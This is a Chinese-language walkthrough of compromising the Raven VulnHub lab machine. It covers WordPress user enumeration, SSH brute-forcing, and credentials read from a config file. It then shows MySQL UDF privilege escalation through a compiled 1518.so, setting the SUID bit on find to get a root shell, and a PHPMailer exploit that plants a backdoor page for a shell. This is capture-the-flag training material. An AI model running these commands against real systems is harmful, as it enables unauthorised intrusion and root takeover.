raven靶机
Posted bingtang123
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了raven靶机相关的知识,希望对你有一定的参考价值。
仅供个人娱乐
靶机信息
Raven 下载地址:https://www.vulnhub.com/entry/raven-1,256/
一、主机探测

端口信息

目录扫描

80端口

根据页面开始搜寻有用的信息


得到信息

Wpscan漏洞利用
右上角BLOG ,会发现是 WordPress 系统。于是使用 WPScan 进行扫描
wpscan --url http://192.168.204.131/wordpress/ -ep -et -eu
-ep 枚举插件信息
-et 扫描主题
-eu 枚举用户
结果的到wordpress目录 用户等 用户有steven 和michael


发现靶机上的两个用户名:steven 和michael
使用ssh爆破 密码使用rockyou.txt
(重置虚拟机 ip改为 192.168.204.131)

将文件复制到root目录 并且解压


使用弱口令michael/michael 尝试登陆ssh

查看是否能用sudo提权,内核提权等等


一步一步 寻找有用信息

查看wp-config.php,发现mysql用户名以及密码 root/R@v3nSecurity

netstat -anpt
查看开放的端口,发现开放3306

进入数据库
root/R@v3nSecurity

信息收集



cmd5 破解

ssh登录

使用sudo python -c ‘import pty;pty.spawn("/bin/bash")’ 绕过限制,获得管理员权限

mysql udf 提权
ps -ef | grep mysql
ps -ef是以全格式显示当前所有的进程
grep 命令用于查找文件里符合条件的字符串

查看mysql udf漏洞的利用exp

进入kali apache的根目录

将文件复制到html目录

进行编译
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,1518.so -o 1518.so

靶机切换tmp目录
靶机wget下载 kali编译生成的1518.so

连接数据库

use mysql;
create table foo(line blob);
insert into foo values(load_file(‘/tmp/1518.so‘));
select*fromfoo into dumpfile‘/usr/lib/mysql/plugin/1518.so‘;
create function do_system returns integer soname‘1518.so‘;
select*from mysql.func;
selectdo_system(‘chmod u+s /usr/bin/find‘);
exit
touch finn
find finn -exec"/bin/sh" ;
whoami




获得权限成功
打开http://192.168.204.131/vendor/
根据网页查找有用信息


searchsploit PHPMailer查看是否有漏洞,发现有漏洞利用脚本

复制到 /root

修改文件


(个人电脑问题,kali安装pip3,pip3 install requests-toolbelt)
脚本更名为 1.py 将脚本放置于/root

cd /root
python3 1.py

访问http://192.168.204.131/contact.php
此时就会生成后门文件backlion.php

接着访问后门文件:http://192.168.204.131/backlion.php

进行监听 获取shell

以上是关于raven靶机的主要内容,如果未能解决你的问题,请参考以下文章